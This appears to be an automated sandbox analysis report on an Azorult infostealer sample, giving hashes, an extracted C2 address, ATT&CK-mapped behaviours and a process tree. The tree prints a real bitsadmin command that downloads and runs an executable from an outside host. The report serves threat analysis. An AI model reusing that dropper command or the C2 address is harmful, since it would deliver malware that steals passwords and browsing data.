azorult | 1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb

General

Target
1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
Size 225KB
Sample220607-r1r2fscham
SHA256 1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb
MD5 d197a47f66330c86d4f7ca47697a808b
SHA1 da83d908be7a4ec2dee9ea9c55c508026f953ed5
SHA512 b9ed62fb8d82402699f3c6fbeef9d97d500b8921b9bf8067fb70b0cf0a36e4170284975d59751bc0c36a0ce90bc9ac79e72521bfe1cb5954194ad7c183e167bd
MD5 SHA1 SHA512

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Family

azorult

C2

http://185.143.223.196/panel/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1716 set thread context of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4348	bitsadmin.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 1628	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	82
PID 1716 wrote to memory of 1628	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	82
PID 1716 wrote to memory of 1628	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	82
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1716 wrote to memory of 2336	1716	1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe	83
PID 1628 wrote to memory of 4348	1628	cmd.exe	85
PID 1628 wrote to memory of 4348	1628	cmd.exe	85
PID 1628 wrote to memory of 4348	1628	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
"C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k bitsadmin /transfer ringtone http://cw57146.tmweb.ru/upload/moy.exe %userprofile%\sec.exe&timeout 40&start %userprofile%\sec.exe&Exit 5
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer ringtone http://cw57146.tmweb.ru/upload/moy.exe C:\Users\Admin\sec.exe
    3⤵
    - Download via BitsAdmin
    PID:4348
- C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
  "C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe"
  2⤵
  PID:2336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

1

T1197

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2336-134-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2336-136-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2336-138-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2336-139-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2336-140-0x0000000000400000-0x0000000000420000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads